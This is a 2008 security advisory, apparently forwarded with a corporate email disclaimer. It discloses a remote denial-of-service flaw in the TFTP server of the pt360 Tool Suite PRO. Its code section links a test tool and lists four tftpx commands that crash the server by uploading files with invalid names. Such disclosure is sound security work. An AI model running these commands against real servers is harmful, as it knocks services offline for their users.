####################################################################### Luigi Auriemma Application: pt360 Tool Suite PRO http://www.packettrap.com/product/index.aspx Versions: <= 2.0.3901.0 Platforms: Windows Bug: Denial of Service of the TFTP server Exploitation: remote Date: 08 Mar 2008 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== pt360 is a suite of network tools. ####################################################################### ====== 2) Bug ====== The TFTP server implemented in the pt360 suite can be easily interrupted through the uploading of files with invalid names, in this case is raised an exception which blocks the TFTP component and forces the user to restart the whole application for re-running it. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/tftpx.zip tftpx -u SERVER "\|" none tftpx -u SERVER "\"" none tftpx -u SERVER "<>" none tftpx -u -f SERVER 200 none ####################################################################### ====== 4) Fix ====== No fix ####################################################################### --- Luigi Auriemma http://aluigi.org Mobile : Email : Web : http://www.sd.zain.com/ -------------------------------------------------------------------------- -------------------------------------------------------------------------- Disclaimer This communication is intended for the above named person and is confidential and / or legally privileged. Any opinion(s) expressed in this communication are not necessarily those of the Zain. If it has come to you in error you must take no action based upon it, nor must you print it, copy it, forward it, or show it to anyone. Please delete and destroy the e-mail and any attachments and inform the sender immediately. Thank you. Zain is not responsible for the political, religious, racial or partisan opinion in any correspondence conducted by its domain users. Therefore, any such opinion expressed, whether explicitly or implicitly, in any said correspondence is not to be interpreted as that of Zain. Zain may monitor all incoming and outgoing e-mails in line with Zain business practice. Although Zain has taken steps to ensure that e-mails and attachments are free from any virus, we advise that, in keeping with best business practice, the recipient must ensure they are actually virus free. "